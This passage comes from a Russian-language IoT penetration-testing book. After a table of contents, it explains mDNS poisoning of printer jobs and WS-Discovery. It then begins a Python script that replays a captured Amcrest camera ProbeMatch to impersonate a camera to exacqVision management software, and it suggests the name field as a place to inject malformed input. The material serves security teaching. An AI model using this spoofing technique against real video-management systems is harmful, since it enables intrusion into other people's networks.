- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Accepted connection from 192.168.10.199 192.168.10.199 Starting HTTPS session. 192.168.10.199 Connection now encrypted.
…
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
При запущенном отравителе mDNS клиент (192.168.10.199) будет подключаться к серверу злоумышленника вместо легитимного прин- тера (192.168.10.219) для отправки задания на печать.
Но эта атака не пересылает автоматически задание печати или до- кумент на настоящий принтер. Обратите внимание, что в этом сце- нарии реализация Bonjour mDNS/DNS-SD, похоже, запрашивает имя _universal каждый раз, когда пользователь пытается что-то напеча- тать с MacBook, и этот запрос тоже должен быть отравлен. Причина в том,что MacBook был подключен к нашей лаборатории через Wi-Fi, а macOS пыталась использовать AirPrint, функцию macOS для печати через Wi-Fi. Имя _universal связано с AirPrint.
Использование WS-Discovery
Протокол динамического обнаружения веб-служб (Web Services Dynam- ic Discovery,WS-Discovery)–это протокол широковещательного обна- ружения,которыйнаходитслужбывлокальнойсети.Выкогда-нибудь задумывались,чтомоглобыслучиться,еслибывыимитировалисете- вое поведение IP-камеры и атаковали сервер,который ею управляет? Корпоративные сети, в которых находится большое количество ка- мер, часто полагаются на серверы управления видео – программное обеспечение,которое позволяет системным администраторам и опе- раторам удаленно управлять устройствами и просматривать видео- поток через централизованный интерфейс.
Большинство современных IP-камер поддерживаютONVIF,откры- тый отраслевой стандарт,разработанныйдлятого,чтобы физические устройства систем безопасности на основе IP,включая камеры видео- наблюдения,видеорегистраторы и сопутствующее программное обе- спечение,взаимодействовали друг с другом.Это открытый протокол, который разработчики программного обеспечения для видеонаблю- дения могут использовать для взаимодействия с устройствами, со- вместимыми с ONVIF, независимо от их производителя. Одна из его функций – автоматическое обнаружение устройств, которое обычно выполняется с помощью WS-Discovery. В этом разделе мы объясним, как работает WS-Discovery, создадим испытательный скрипт Python дляэксплуатациивнутреннихуязвимостейпротокола,настроимпод- дельную IP-камеру в локальной сети и обсудим другие векторы атак.
Как работает WS-Discovery
Не вдаваясь в подробности, опишем вкратце, как работает WS-Disco very. В терминологии WS-Discovery целевая служба – это конечная точка, доступная для обнаружения, тогда как клиент – это конечная
Использование сети с нулевой конфигурацией 181
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
точка, которая ищет целевые службы. И те и другие используют за- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
просы SOAP через UDP на многоадресный адрес 239.255.255.250 с це- |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
левым портом UDP 3702. На рис. 6.13 представлен обмен сообщения- ми между ними.
Целевая служба |
|
Клиент |
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
Многоадресная рассылка Hello |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Многоадресная рассылка Probe |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
Проверка совпадения (PM) / |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
Проверка совпадения (PM) / одноадресная рассылка |
одноадресная рассылка |
Разрешение / многоадресная рассылка
Разрешение совпадения (RM) / одноадресная рассылка
Многоадресная рассылка Bye
Рис.6.13.Обмен сообщениями WS-Discovery между целевой службой и клиентом
Целевая служба отправляет широковещательное сообщение Hello , когда присоединяется к сети. Целевая служба может получить ши- роковещательный ответ Probe , сообщение, отправленное в произ- вольный момент времени клиентом, ищущим целевую службу опре- деленноготипа.Тип–этоидентификаторконечнойточки.Например, IP-камера может иметь тип NetworkVideoTransmitter. Клиент также может отправить одноадресный запрос Probe Match , если целевая служба совпадаетс запросом Probe (другие соответствующие целевые службы также могут отправлять одноадресные запросы Probe Match). Точно так же целевая служба может в любое время получить широко- вещательное сообщение Resolve ,отправленное клиентом,ищущим цель по имени, и отправить одноадресное сообщение Resolve Match , если она является целью запроса Resolve. Наконец, когда целевая служба покидает сеть, она пытается отправить широковещательное сообщение Bye .
Клиент зеркалирует сообщения целевой службы. Он прослушивает широковещательные сообщения Hello,наблюдает,как Probe опраши-
182 Глава 6
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
вает целевые службы или Resolve находит конкретную целевую служ- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
бу, и прослушивает широковещательную передачу Bye. В основномdf-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
мы сосредоточимся на втором и третьем шагах атаки, которую выполним в этом разделе.
Подделка камер в вашей сети
Сначала настроим тестовую среду с программным обеспечением для управления IP-камерой на виртуальной машине, а затем будем ис- пользовать реальную сетевую камеру для захвата пакетов и анализа их взаимодействия с программным обеспечением через WS-Discov- ery на практике. Наконец, создадим сценарий Python, который будет имитировать камеру с целью атаки на программное обеспечение для управления камерой.
Настройка
Мы продемонстрируем эту атаку, используя более раннюю версию (версия 7.8) exacqVision, широко известного инструмента для управ- ления IP-камерами. Вы также можете выбрать аналогичный бесплат- ный инструмент, например Camlytics, iSpy или любое программное обеспечение для управления камерой, использующее WS-Discovery. Мы разместим программное обеспечение на виртуальной машине с IP-адресом 192.168.10.240.Реальная сетевая камера,которую мы бу-
дем имитировать,имеет IP-адрес 192.168.10.245.Версию exacqVision,
которую мы используем,можно найти по адресу https://www.exacq.com/ reseller/legacy/?file=Legacy/index.html/.
Установите сервер и клиент exacqVision в системе Windows 7, раз- мещеннойвVMware,азатемзапуститеклиентexacqVision.Ондолжен подключатьсялокальноксоответствующемусерверу;клиентдейству- еткак пользовательский интерфейсдля сервера,которыйдолжен был запускаться в системе как фоновая служба. Затем мы можем начать обнаружение сетевых камер.На странице конфигурации нажмите ex- acqVision Server > Configure System > Add IP Cameras (Сервер exac- qVision > Настроить систему > Добавить IP-камеры),а затем–кнопку Rescan Network (Повторное сканирование сети) – рис. 6.14.
ЭтоприведеткотправкесообщенияProbe(сообщение2нарис.6.14) на широковещательный адрес 239.255.255.250 через UDP-порт 3702.
Анализ запросов и ответов WS-Discovery в Wireshark
Как злоумышленники могут выдать себя за камеру в сети? Довольно легкопонять,какработаюттипичныезапросыиответыWS-Discovery, поэкспериментировав со стандартной камерой наподобие Amcrest, как показано в этом разделе. В Wireshark начните с включения дис- сектора XML over UDP (XML поверх UDP), нажав Analyze (Анализи- ровать) в строке меню. Затем нажмите Enabled protocols (Включен- ныепротоколы).Выполнитепоискпозапросуudpипоставьтефлажок
XML over UDP (рис. 6.15).
Использование сети с нулевой конфигурацией 183
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.6.14.Клиентский интерфейс exacqVision для обнаружения новых сетевых камер с помощью WS-Discovery
Рис.6.15.Выбор диссектора XML over UDP в Wireshark
Затем активируйте Wireshark на виртуальной машине, на которой работает сервер exacqVision, и захватите ответ Probe Match (сооб- щение 3 из 9) от камеры Amcrest в ответ на запрос Probe протокола WS-Discovery. Затем можно щелкнуть пакет правой кнопкой мыши и выбрать команды Follow > UDP stream (Отслеживать > поток UDP). Мы должны увидеть весь запрос SOAP/XML. Нам понадобится это значение запроса в следующем разделе, когда будем разрабатывать скрипт; мы вставим его в переменную orig_buf в листинге 6.4.
Нарис.6.16показанывыходныеданныеWS-DiscoveryProbeвWire- shark. Клиент exacqVision выводит эту информацию при каждом ска- нировании сети для поиска новых IP-камер.
Наиболее важной частью этого сканирования сети является UUID MessageID (выделен рамкой), потому что он должен быть включен в ответ Probe Match. (Вы можете прочитать об этом в официаль- ной спецификации WS-Discovery по адресу /s:Envelope/s:Header/ a:RelatesTo MUST be the value of the [message id] property[WS-Addressing] of the Probe.)
На рис. 6.17 показан ответ Probe Match от реальной IP-камеры Am- crest.
184 Глава 6
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.6.16.Зонд WS-Discovery от exacqVision,вывод Wireshark
Рис.6.17.Ответ Probe Match от IP-камеры Amcrest в сети.
Обратите внимание,что UUID RelatesTo совпадает с UUID MessageID,отправленным exacqVision
Поле RelatesTo содержиттот же UUID, что и UUID в MessageID в со- ставе полезной нагрузки XML, отправленной клиентом exacqVision.
Использование сети с нулевой конфигурацией 185
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
Эмуляция камеры в сети |
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||||
|
|
|
|
|
|
|||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
Теперьмы напишем скриптPython,который имитируетреальную ка- |
|
|
df |
|
|
n |
e |
|
||||
|
|
|
|
|
|
-x cha |
|
|
|
|
меру в сети с целью атаки на программное обеспечение exacqVision
иподмены настоящей камеры. Мы будем использовать ответ Probe Match камеры Amcrest в качестве основы для создания атакующей нагрузки. Нам нужно создать прослушиватель в сети, который полу-
чает WS-Discovery Probe от exacqVision, извлекает из него MessageID
ииспользуетегодля формирования нашей атакующей нагрузки в ка-
честве ответа WS-Discovery Probe Match.
Первая часть нашего кода импортирует необходимые модули Py- thon и определяет переменную, содержащую исходный ответ Probe Match от камеры Amcrest (см.листинг 6.4).
Листинг 6.4. Импорт модуля и определение исходного ответа WS-Discovery Probe Match от камеры Amcrest
#!/usr/bin/env python import socket
import struct import sys import uuid buf = ""
orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/ soapenvelope"
xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/ ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">\ <s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoaporg: ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/ ProbeMatches\ </a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatch es><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab- 6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \ onvif://www.onvif.org/name/Amcrest \
onvif://www.onvif.org/hardware/IP2M-841B \ onvif://www.onvif.org/Profile/Streaming \ onvif://www.onvif.org/type/Network_Video_Transmitter \ onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\
<d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</ d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''
МыначинаемсостандартногомаркераPython(#!),чтобыубедиться, что сценарий может запускаться из командной строки без указания полного пути интерпретатора Python,атакже необходимого импорта модулей. Затем создаем переменную orig_buf , которая содержит исходный ответ WS-Discovery отAmcrest в виде строки.Напомним из предыдущего раздела, что мы вставили XML-запрос в переменную после захвата сообщения в Wireshark.Создаем заполнитель _MESSAGE-
186 Глава 6
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ID_ и заменяем его на новый уникальный UUID, который мыwбу- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
дем генерировать каждый раз при получении пакета. Аналогичнымdf-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
образом _PROBEUUID_ будет содержать извлеченный UUID из зонда WS-Discovery во время выполнения. Нам нужно извлекать его каж- дый раз, когда мы получаем новый зонд WS-Discovery от exacqVision. Частьname полезной нагрузки XML–хорошее местодля подсовыва- ния неверно сформированного ввода,потому что мы видели,что имя Amcrest появляется в списке камер клиента и,таким образом,должно сначала быть проанализировано программным обеспечением внут ри.Следующая часть кода в листинге 6.5 настраивает сетевые сокеты. Поместите ее сразу после кода в листинге 6.3.
Листинг 6.5. Настройка сетевых сокетов
